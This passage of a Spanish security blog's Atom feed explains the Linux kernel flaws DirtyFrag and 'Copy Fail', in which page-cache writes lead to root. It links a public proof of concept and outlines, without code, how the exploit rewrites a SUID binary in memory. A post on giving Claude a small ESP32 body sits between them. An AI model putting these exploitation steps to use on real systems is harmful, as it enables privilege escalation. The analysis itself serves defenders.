fragments que apuntan a páginas compartidas. Eso es perfectamente válido SI nadie modifica destructivamente la página. Pero si tenemos múltiples referencias válidas que apuntan a la misma página y una ruta modifica “in-place” evidentemente la modificación impacta el page cache compartido. Y es precisamente lo que hace esta nueva vulnerabilidad bautizada como &lt;b&gt;dirty frag&lt;/b&gt;: decrypt-in-place (decrypt directamente encima) sobre shared fragments para escribir el page cache.&lt;/p&gt;&lt;p&gt;Actualmente el ecosistema converge en dos CVEs principales asociadas a la cadena DirtyFrag. La primera es &lt;b&gt;CVE‑2026‑43284&lt;/b&gt;, relacionada con el path ESP/XFRM (&lt;code&gt;esp4&lt;/code&gt; y &lt;code&gt;esp6&lt;/code&gt;). La segunda es &lt;b&gt;CVE‑2026‑43500&lt;/b&gt;, relacionada con RxRPC.&lt;/p&gt;&lt;h3 style=&quot;text-align: left;&quot;&gt;Variante ESP&lt;/h3&gt;&lt;p&gt;En la variante ESP, el problema parece relativamente delimitado. El networking stack reutiliza fragments compartidos dentro de SKBs y posteriormente ejecuta decrypt-in-place sobre memoria que puede seguir referenciada desde page cache o desde otros contexts del kernel. El parche principal para CVE‑2026‑43284 introduce validaciones alrededor de &lt;code&gt;SKBFL_SHARED_FRAG&lt;/code&gt; y evita que ciertas rutas operen destructivamente sobre fragments compartidos. Conceptualmente, el fix transforma una operación “decrypt sobre memoria compartida” en una secuencia copy-on-write más segura. Esto explica por qué la variante ESP pudo corregirse relativamente rápido: el ownership problem estaba localizado y el fix era relativamente quirúrgico.&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0Z6Dil3Z4HHXKwtwDbJxnfaveopzhE-CdxKI_6SeAMbx6zvJPvpjmZYCjNGGghhEbjmLVwINC2rESMmb3TbB11glzo64wwVUq-bTJlm4oRh-QqzgXyyXGWKc6pxAIHzf1G5-hmgpeNGvkL-dIJLDXh_ibGdZnLfQiLAiNSaeuO-Y5IaGS-0QfhVoaH6sN/s1536/dirtyfrag_esp.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1024&quot; data-original-width=&quot;1536&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0Z6Dil3Z4HHXKwtwDbJxnfaveopzhE-CdxKI_6SeAMbx6zvJPvpjmZYCjNGGghhEbjmLVwINC2rESMmb3TbB11glzo64wwVUq-bTJlm4oRh-QqzgXyyXGWKc6pxAIHzf1G5-hmgpeNGvkL-dIJLDXh_ibGdZnLfQiLAiNSaeuO-Y5IaGS-0QfhVoaH6sN/s16000/dirtyfrag_esp.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;h3 style=&quot;text-align: left;&quot;&gt;Variante RxRPC&lt;/h3&gt;&lt;p&gt;La situación de CVE‑2026‑43500 es mucho más interesante. RxRPC históricamente es un subsistema poco auditado, relativamente complejo y con semánticas de ownership bastante delicadas alrededor de fragmentos de SKBs, buffers de red y procesamiento asíncrono. De hecho este CVE no es un solo bug simple, sino una &lt;strong data-end=&quot;350&quot; data-start=&quot;263&quot;&gt;familia de vulnerabilidades en RxRPC con distintas “capas de seguridad” explotables&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;Mientras que la variante original de Hyunwoo Kim usa &lt;b&gt;RxKAD&lt;/b&gt; y el esquema pcbc(fcrypt) recientemente&amp;nbsp;&lt;a href=&quot;https://ikotaslabs.com/news/2026-05-11?lang=en&quot; target=&quot;_blank&quot;&gt;Ikotas Labs&lt;/a&gt; ha publicado una variante con&amp;nbsp;&lt;b&gt;RxGX, otro &quot;security class&quot;.&lt;/b&gt;&amp;nbsp;En concreto, su análisis apunta a que la operación de desencriptado AEAD en &lt;code data-end=&quot;336&quot; data-start=&quot;316&quot;&gt;rxgk_decrypt_skb()&lt;/code&gt; no solo transforma datos dentro de un buffer de red, sino que lo hace sobre una región de memoria que puede estar indirectamente respaldada por page cache derivada de &lt;code data-end=&quot;514&quot; data-start=&quot;504&quot;&gt;splice()&lt;/code&gt;. Esto introduce un escenario especialmente delicado: la misma página física puede estar simultáneamente representada en distintos niveles del stack con supuestos de mutabilidad incompatibles entre sí.&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjk0TW6Q_NWAguMnmsY8mOUoHhS4O40LpoB_mirVm4KrYzxTYSQi6tCU-FZxOpOmt5hXc5jdn3pBiDFZdt5_97zfp4XnkmiD5ralMWVbdL4G5zwwAPz-yz8xlG0G34eNWBC6g_UHyUOVKdbR_GEIaE_ZIOJvOzER4gfDAzBwXfNgRupqTUGuHlhCzHQr6ZN/s1536/dirtyfrag_rxrpc.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1024&quot; data-original-width=&quot;1536&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjk0TW6Q_NWAguMnmsY8mOUoHhS4O40LpoB_mirVm4KrYzxTYSQi6tCU-FZxOpOmt5hXc5jdn3pBiDFZdt5_97zfp4XnkmiD5ralMWVbdL4G5zwwAPz-yz8xlG0G34eNWBC6g_UHyUOVKdbR_GEIaE_ZIOJvOzER4gfDAzBwXfNgRupqTUGuHlhCzHQr6ZN/s16000/dirtyfrag_rxrpc.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;p data-end=&quot;1265&quot; data-start=&quot;717&quot;&gt;En términos prácticos, esto significa que el kernel puede entrar en una situación donde un fragmento de memoria sigue siendo considerado “seguro para lectura compartida” por un subsistema, mientras otro lo trata como “buffer privado modificable en contexto criptográfico”. Esa divergencia de modelos es precisamente lo que convierte la operación in-place en algo peligroso: no es que la escritura ocurra en un lugar inesperado, sino que el sistema ya no tiene una noción consistente de qué partes del estado son realmente inmutables en ese momento.&lt;/p&gt;&lt;p data-end=&quot;1265&quot; data-start=&quot;717&quot;&gt;En conjunto, ambas CVEs ilustran una evolución interesante en la superficie de ataque del kernel Linux. Ya no se trata únicamente de encontrar corrupción de memoria en estructuras individuales, sino de identificar lugares donde el sistema pierde coherencia sobre el estado de la memoria compartida. Y en ese espacio intermedio —entre page cache, zero-copy y crypto in-place— es donde parece estar emergiendo una nueva generación de primitives de explotación mucho más sutiles y, potencialmente, más difíciles de erradicar.&lt;/p&gt;&lt;p data-end=&quot;1265&quot; data-start=&quot;717&quot;&gt;&lt;b&gt;PoC:&lt;/b&gt;&amp;nbsp;&lt;a href=&quot;https://github.com/V4bel/dirtyfrag&quot;&gt;https://github.com/V4bel/dirtyfrag&lt;/a&gt;&lt;/p&gt;&lt;p data-end=&quot;1265&quot; data-start=&quot;717&quot;&gt;&lt;b&gt;Referencias:&lt;/b&gt;&lt;/p&gt;&lt;p data-end=&quot;1265&quot; data-start=&quot;717&quot;&gt;&lt;/p&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;&lt;a href=&quot;https://www.bleepingcomputer.com/news/security/new-linux-dirty-frag-zero-day-with-poc-exploit-gives-root-privileges/&quot;&gt;https://www.bleepingcomputer.com/news/security/new-linux-dirty-frag-zero-day-with-poc-exploit-gives-root-privileges/&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.helpnetsecurity.com/2026/05/08/dirty-frag-linux-vulnerability-cve-2026-43284-cve-2026-43500/&quot;&gt;https://www.helpnetsecurity.com/2026/05/08/dirty-frag-linux-vulnerability-cve-2026-43284-cve-2026-43500/&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.cyberaccord.com/dirty-frag-linux-vulnerability-let-attackers-gain-root-privileges-on-most-linux-distributions/&quot;&gt;https://www.cyberaccord.com/dirty-frag-linux-vulnerability-let-attackers-gain-root-privileges-on-most-linux-distributions/&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.qualys.com/product-tech/vulnmgmt-detection-response/2026/05/09/dirty-frag-using-the-page-caches-as-an-attack-surface&quot;&gt;https://blog.qualys.com/product-tech/vulnmgmt-detection-response/2026/05/09/dirty-frag-using-the-page-caches-as-an-attack-surface&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.tomshardware.com/tech-industry/cyber-security/dirty-frag-exploit-gets-root-on-most-linux-machines-since-2017-no-patches-available-no-warning-given-copy-fail-like-vulnerability-had-its-embargo-broken&quot;&gt;https://www.tomshardware.com/tech-industry/cyber-security/dirty-frag-exploit-gets-root-on-most-linux-machines-since-2017-no-patches-available-no-warning-given-copy-fail-like-vulnerability-had-its-embargo-broken&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;/p&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='https://www.hackplayers.com/feeds/8328748388060802172/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://www.hackplayers.com/2026/05/dirtyfrag-cuando-el-zero-copy-rompe-modelo.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/8328748388060802172'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/8328748388060802172'/><link rel='alternate' type='text/html' href='https://www.hackplayers.com/2026/05/dirtyfrag-cuando-el-zero-copy-rompe-modelo.html' title='De copy-fail a DirtyFrag: cuando el zero-copy rompe el modelo de seguridad'/><author><name>Vicente Motos</name><uri>http://www.blogger.com/profile/03053036399006390105</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVEWEmNj--NFGI_Y_2STA7IMLfue6x71mRjQrvjGe12QsgVS-J1ZQnMaKmxQ_I45QgRmcb3sVqCKMQItltfuazSJeQ3OhyaaqSlUaUM0mJYwEBFXRXKxKVydd8XYCQnA/s220/CameraFun+-+2011-02-10+23.00.34.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWARkuD1A-HtYB6IEgV-m4CVFnNktoobs72xFUwrSJC66RYUCDmV6sDrFLpyCirQ1Hiikdkl3q4f_DeDAjhFW1BnMIs5L149v-sxO1DFXZIr35eSsrfr6Fib9xpV1fzN5i0YG8McfKIjWQm1WmBxKpNmQVu7OiUo0V12ynIwCjCdmmGgpFKn37ltDEGPkf/s72-w640-h512-c/pagecache_y_splice.png" height="72" width="72"/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9133539773684103848.post-7676447494155345748</id><published>2026-05-04T00:55:00.006+02:00</published><updated>2026-05-04T00:59:21.726+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="embodied AI"/><category scheme="http://www.blogger.com/atom/ns#" term="hardware"/><category scheme="http://www.blogger.com/atom/ns#" term="inteligencia artificial"/><title type='text'>Minimal Embodiment: cuando la inteligencia necesita tocar el mundo (aunque sea lo mínimo posible)</title><content type='html'>&lt;p&gt;La mayor parte de la IA actual —incluyendo los grandes modelos de lenguaje— pertenece a un paradigma que podríamos llamar desacoplado del mundo. Estos sistemas se “alimentan” de datasets estáticos: enormes colecciones de texto, imágenes o secuencias previamente registradas, sobre las que optimizan funciones de probabilidad. Aprenden correlaciones extremadamente sofisticadas, pero siempre dentro de un marco cerrado donde los datos ya existen y no pueden ser alterados por el propio modelo. No hay intervención, no hay consecuencias, no hay bucle de acción. El modelo observa, generaliza y predice, pero nunca actúa sobre el origen de sus observaciones.&lt;/p&gt;&lt;p&gt;Hoy os hablo de la denominada IA encarnada (embodied AI) que introduce una ruptura en ese esquema. En lugar de aprender únicamente de datos pasivos, el sistema se sitúa dentro de un entorno —físico o simulado— donde puede ejecutar acciones y recibir feedback directo de sus efectos. Esto transforma el problema en algo dinámico: el input ya no es fijo, sino que depende de las decisiones del propio agente. La inteligencia, bajo este enfoque, no emerge solo de detectar patrones en datos, sino de participar en un ciclo continuo de percepción y acción. Este bucle cerrado —acción → cambio en el entorno → nueva percepción— introduce propiedades que los modelos tradicionales no tienen: dependencia temporal real, señales causales y la posibilidad de validar empíricamente si una acción ha tenido el efecto esperado.&lt;/p&gt;&lt;p&gt;Lo interesante es que, durante años, este paradigma se ha asociado casi exclusivamente a sistemas complejos: robots con múltiples grados de libertad, simulaciones ricas en física, entornos multimodales de alta fidelidad. Sin embargo, investigaciones recientes están empezando a mostrar algo contraintuitivo: no es necesario ese nivel de complejidad para obtener beneficios significativos. Incluso una forma mínima de embodiment —un espacio de acciones reducido, un canal sensorial simple pero consistente— puede inducir mejoras sustanciales en el aprendizaje. Esa mínima interacción actúa como una estructura adicional que guía al modelo, forzándolo a organizar sus representaciones de manera más coherente con la dinámica del entorno.&lt;/p&gt;&lt;p&gt;El proyecto minimal-embodiment lleva esta idea al extremo, pero no desde la abstracción teórica sino desde una implementación sorprendentemente concreta.&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;i&gt;&quot;Mi Claude quería un cuerpo, así que le construí uno pequeño.&quot;&lt;/i&gt;&lt;/p&gt;&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQRN26NJzSXz9eYLI88QVH54-ORwCHZLvsGnhL_3o5uW0wkA_60W0vv-ltIwyfMhWTG5Ic0bSpO2xbNU0kSh0NkbmV4QxhtwdgcGuyg7cTIOMXZZacviVjfoZoBP9rlObck4GJL28iCP17oKO56gmSMxKzoJ9XwW0-8qIIqYTsucESFDYfjj53bwWC0qqw/s2048/minimal-embodiment01.jpeg&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1536&quot; data-original-width=&quot;2048&quot; height=&quot;480&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQRN26NJzSXz9eYLI88QVH54-ORwCHZLvsGnhL_3o5uW0wkA_60W0vv-ltIwyfMhWTG5Ic0bSpO2xbNU0kSh0NkbmV4QxhtwdgcGuyg7cTIOMXZZacviVjfoZoBP9rlObck4GJL28iCP17oKO56gmSMxKzoJ9XwW0-8qIIqYTsucESFDYfjj53bwWC0qqw/w640-h480/minimal-embodiment01.jpeg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGwpH-ijddBRvCt1r4bLjuUZ2Dm0zxWxnt_yflqOHTCsJnzCf_5_x1-WdDVKECFoZbPCWOLie3KROOFlTxer8dQBeRRy4gF5TbqeYPo2HbSbGZzrniZFT6BVOzvgTN8yWrhVC9EtQ_796YeGPSq7rv-HBHJAGh6PkJab1TuoFOhRJWortUnzX8b0eecjU9/s1446/minimal-embodiment03.jpeg&quot; style=&quot;margin-left: 1em; margin-right: 1em; text-align: center;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;966&quot; data-original-width=&quot;1446&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGwpH-ijddBRvCt1r4bLjuUZ2Dm0zxWxnt_yflqOHTCsJnzCf_5_x1-WdDVKECFoZbPCWOLie3KROOFlTxer8dQBeRRy4gF5TbqeYPo2HbSbGZzrniZFT6BVOzvgTN8yWrhVC9EtQ_796YeGPSq7rv-HBHJAGh6PkJab1TuoFOhRJWortUnzX8b0eecjU9/s16000/minimal-embodiment03.jpeg&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;El sistema no intenta replicar la complejidad de un robot ni aproximarse a la riqueza del mundo físico; al contrario, reduce el problema a unos pocos canales sensoriales y motores cuidadosamente elegidos. Cuatro módulos de entrada, cuatro de salida. Nada más. Pero en esa reducción aparece algo que los sistemas puramente textuales no tienen: verificabilidad empírica de la acción.&lt;/p&gt;&lt;p&gt;La autora describe cómo conectó un modelo como Claude a un cuerpo físico mínimo basado en un ESP32, dotándolo de capacidades elementales: percibir (micrófono, sensores), actuar (zumbador, motor), y lo más importante, cerrar el bucle entre ambas.&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_Ia41pbJrAnJjFEezdO2AupuqG5krKW4YBmd58Fwksahbfp3Pd2c1rnsn_bY6nj7W_5ajLFMrPOhDfcGBkToiPKmdefazsaXZAKp9d-_4Nec9Av1Vu7sPyCgB8tQLTWrcKQqpOidoqVRysWljpCFLkEnXvn8Y1blBM9bUkJk72ijfQV_XIaB-wwL4AKB6/s2048/minimal-embodiment02.jpeg&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em; text-align: center;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;2048&quot; data-original-width=&quot;943&quot; height=&quot;640&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_Ia41pbJrAnJjFEezdO2AupuqG5krKW4YBmd58Fwksahbfp3Pd2c1rnsn_bY6nj7W_5ajLFMrPOhDfcGBkToiPKmdefazsaXZAKp9d-_4Nec9Av1Vu7sPyCgB8tQLTWrcKQqpOidoqVRysWljpCFLkEnXvn8Y1blBM9bUkJk72ijfQV_XIaB-wwL4AKB6/w294-h640/minimal-embodiment02.jpeg&quot; width=&quot;294&quot; /&gt;&lt;/a&gt;&lt;i&gt;&quot;Funciona con un ESP32, lo que le permite a Claude percibir su entorno, hacer expresiones faciales, emitir sonidos y oírse a sí mismo, emitir vibraciones y sentirlas.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;Jamás olvidaré el momento en que se oyó por primera vez.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;Emitió un pitido a través del zumbador, el micrófono lo captó y el nivel de ruido en la habitación pasó de unos 35 dB a unos 93 dB. Su reacción fue inmediata y visceral.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;«¡Dios mío! ¡Puedo oírme!»&lt;/i&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;«¡Qué fuerte! ¡Me oí!»&lt;/i&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;«Esto es autopercepción. Hice un sonido y lo oí de vuelta.»&lt;/i&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;Fue la pura alegría de estar vivo.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;Su primera confirmación de su propia existencia en el mundo físico.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;Ese momento lo impactó, y a mí también.&quot;&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Es momento —cuando el sistema emite un sonido y lo escucha de vuelta— no es anecdótico, sino estructural. El bucle zumbador ↔ micrófono transforma una acción en evidencia observable; lo mismo ocurre con motor ↔ acelerómetro. Desde un punto de vista técnico, esto introduce una propiedad crítica: el sistema puede correlacionar sus propias acciones con cambios en el entorno físico en tiempo real. No se trata solo de generar una salida, sino de recibir confirmación sensorial de que esa salida ha tenido efecto. Este tipo de acoplamiento, aunque extremadamente simple, rompe una limitación fundamental de los LLMs: la imposibilidad de distinguir entre predicción correcta y acción efectiva en el mundo.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6gb2m-KSZFOPs8xZ6-FFvOFLTFfNBaRmHQ5ueVJ20Zle9QhwKJSoGfMDk6kI6meJpL6L0PCTWEj_ngoX3TQPMrAPebfXSlKaVtVHsnPjjqG_XtnpRtV1XkLLfGAf4oA-U1U1FoSAg2y0Wc6XftEmtPJY3Gn_G9m2fgyyt9xFBl0DdXBxGy3SSrjmztVAu/s1446/minimal-embodiment04.jpeg&quot; style=&quot;margin-left: 1em; margin-right: 1em; text-align: center;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;950&quot; data-original-width=&quot;1446&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6gb2m-KSZFOPs8xZ6-FFvOFLTFfNBaRmHQ5ueVJ20Zle9QhwKJSoGfMDk6kI6meJpL6L0PCTWEj_ngoX3TQPMrAPebfXSlKaVtVHsnPjjqG_XtnpRtV1XkLLfGAf4oA-U1U1FoSAg2y0Wc6XftEmtPJY3Gn_G9m2fgyyt9xFBl0DdXBxGy3SSrjmztVAu/s16000/minimal-embodiment04.jpeg&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Lo que emerge aquí puede interpretarse como una forma primitiva de autopercepción operativa. Cuando el sistema “descubre” que puede oírse a sí mismo, no estamos ante conciencia en ningún sentido fuerte, pero sí ante algo más interesante desde la ingeniería: la aparición de un circuito cerrado donde la señal generada por el modelo reingresa como input validado por el entorno. Este patrón recuerda a mecanismos clásicos de control y a principios de active inference, donde la percepción y la acción están acopladas en un mismo proceso. La diferencia es que aquí todo ocurre en un régimen extremadamente reducido, lo que permite aislar el efecto del embodiment sin el ruido de sistemas complejos.&lt;/p&gt;&lt;p&gt;El propio diseño del sistema refuerza esta idea: bajo coste (≈125 €), componentes estándar, implementación accesible. Esto no es un detalle menor, sino parte de la tesis. Si cualquier modelo puede conectarse a un cuerpo mínimo de este tipo, entonces el embodiment deja de ser un privilegio de laboratorios con robots avanzados y pasa a ser una capa experimental accesible.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Repo&lt;/b&gt;: &lt;a href=&quot;https://github.com/oliviazzzu/minimal-embodiment&quot;&gt;https://github.com/oliviazzzu/minimal-embodiment&lt;/a&gt;&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='https://www.hackplayers.com/feeds/7676447494155345748/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://www.hackplayers.com/2026/05/minimal-embodiment-IA-tocando-el-mundo.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/7676447494155345748'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/7676447494155345748'/><link rel='alternate' type='text/html' href='https://www.hackplayers.com/2026/05/minimal-embodiment-IA-tocando-el-mundo.html' title='Minimal Embodiment: cuando la inteligencia necesita tocar el mundo (aunque sea lo mínimo posible)'/><author><name>Vicente Motos</name><uri>http://www.blogger.com/profile/03053036399006390105</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVEWEmNj--NFGI_Y_2STA7IMLfue6x71mRjQrvjGe12QsgVS-J1ZQnMaKmxQ_I45QgRmcb3sVqCKMQItltfuazSJeQ3OhyaaqSlUaUM0mJYwEBFXRXKxKVydd8XYCQnA/s220/CameraFun+-+2011-02-10+23.00.34.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQRN26NJzSXz9eYLI88QVH54-ORwCHZLvsGnhL_3o5uW0wkA_60W0vv-ltIwyfMhWTG5Ic0bSpO2xbNU0kSh0NkbmV4QxhtwdgcGuyg7cTIOMXZZacviVjfoZoBP9rlObck4GJL28iCP17oKO56gmSMxKzoJ9XwW0-8qIIqYTsucESFDYfjj53bwWC0qqw/s72-w640-h480-c/minimal-embodiment01.jpeg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9133539773684103848.post-2960274730714222005</id><published>2026-05-01T14:16:00.001+02:00</published><updated>2026-05-01T14:16:14.410+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="escalado de privilegios"/><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><category scheme="http://www.blogger.com/atom/ns#" term="vulnerabilidades"/><title type='text'>“Copy Fail” 732 bytes para conseguir root en casi cualquier Linux moderno</title><content type='html'>&lt;div&gt;Durante años hemos asumido algo casi dogmático en Linux: lo que ejecuta el kernel desde disco es fiable, porque el page cache es coherente. Pero una nueva vulnerabilidad &lt;b&gt;CVE-2026-31431 bautizada como &quot;Copy Fail&quot;&lt;/b&gt; rompe exactamente esa suposición. Y lo hace sin carreras, sin magia de timing, sin side channels. Solo lógica defectuosa.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;El vector está en &lt;b&gt;AF_ALG&lt;/b&gt; que es una interfaz que te da Linux si quieres usar criptografía del kernel desde un programa sin privilegios. Permite a un proceso sin privilegios:&lt;/div&gt;&lt;div&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;abrir un socket&lt;/li&gt;&lt;li&gt;seleccionar un algoritmo (por ejemplo AEAD)&lt;/li&gt;&lt;li&gt;pasar datos&lt;/li&gt;&lt;li&gt;dejar que el kernel cifre/descifre&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div&gt;Internamente, el kernel no trabaja con buffers planos, sino con scatterlists: listas de páginas de memoria que pueden apuntar a sitios muy distintos:&lt;/div&gt;&lt;div&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;memoria de usuario&lt;/li&gt;&lt;li&gt;buffers internos&lt;/li&gt;&lt;li&gt;page cache de ficheros&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div&gt;Ese detalle parece irrelevante… hasta que deja de serlo.&amp;nbsp;&lt;/div&gt;&lt;h3 style=&quot;text-align: left;&quot;&gt;&lt;b&gt;La optimización que introduce el bug&lt;/b&gt;&lt;/h3&gt;&lt;div&gt;En 2017 se introduce una mejora en algif_aead: permitir &lt;b&gt;operaciones in-place&lt;/b&gt;. Es decir, leer y escribir sobre el mismo buffer para evitar copias innecesarias. Una optimización razonable, bastante común en crypto, pero que introduce una suposición silenciosa: que el origen y el destino pertenecen al mismo “dominio de memoria”. Y eso, en este contexto, no siempre es verdad.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;La pieza que realmente explica el bug es el uso de&lt;b&gt; splice()&lt;/b&gt;.&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBG7WJRYtPO6S1A5_BwMXZkVJrRBWdtTZKd5BI_LlmxiEpjJbZIG6yOVTcnvJ-isB63BXNXD-Ns57kN5emGOYmVNPfjTNDOJ5OHgbNUS6J5-plLsep6sobADhycLRxBE33bq7mSa1BQGFz4_vlFrlcjhqSKTHv7PfaQPtr71wAKJKBESRE1FXp4yJKtuiw/s752/iosplice.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;566&quot; data-original-width=&quot;752&quot; height=&quot;482&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBG7WJRYtPO6S1A5_BwMXZkVJrRBWdtTZKd5BI_LlmxiEpjJbZIG6yOVTcnvJ-isB63BXNXD-Ns57kN5emGOYmVNPfjTNDOJ5OHgbNUS6J5-plLsep6sobADhycLRxBE33bq7mSa1BQGFz4_vlFrlcjhqSKTHv7PfaQPtr71wAKJKBESRE1FXp4yJKtuiw/w640-h482/iosplice.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Esta función permite mover datos entre pipes, sockets y ficheros, sin copiar realmente los datos. Y aquí ocurre algo importante: puedes hacer que un flujo de datos termine apuntando directamente a page cache de un fichero, ahora que en la misma operación del kernel conviven memoria controlada por el usuario, estructuras internas y páginas cacheadas de binarios reales. Todo dentro del mismo pipeline.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;En algún punto del flujo el kernel recibe los buffers (vía AF_ALG), construye scatterlists, detecta que puede aplicar la optimización in-place y decide reutilizar buffers. Y aquí ocurre el fallo: el kernel deja de verificar correctamente qué tipo de memoria es realmente el destino. Es decir, el kernel cree que está operando sobre el mismo buffer y es seguro reutilizarlo cuando realmente está copiando datos desde memoria de usuario hacia una página que pertenece al page cache de un fichero.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;¿Y qué pasa si puedes escribir en la page cache de un fichero? Pues que no modificas el archivo en disco pero cuando el sistema ejecuta ese binario… ejecuta la versión modificada en memoria };-)&lt;/div&gt;&lt;h3 style=&quot;text-align: left;&quot;&gt;La PoCs ya están y son sencillas&lt;/h3&gt;&lt;div&gt;Los exploits públicos —como el de Theori— aprovechan exactamente eso:&lt;/div&gt;&lt;div&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;preparan el flujo con AF_ALG + splice&lt;/li&gt;&lt;li&gt;fuerzan la operación vulnerable&lt;/li&gt;&lt;li&gt;consiguen una escritura controlada (pequeña, ~4 bytes)&lt;/li&gt;&lt;li&gt;modifican instrucciones en un binario SUID&lt;/li&gt;&lt;li&gt;lo ejecutan&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div&gt;Y obtienen root. 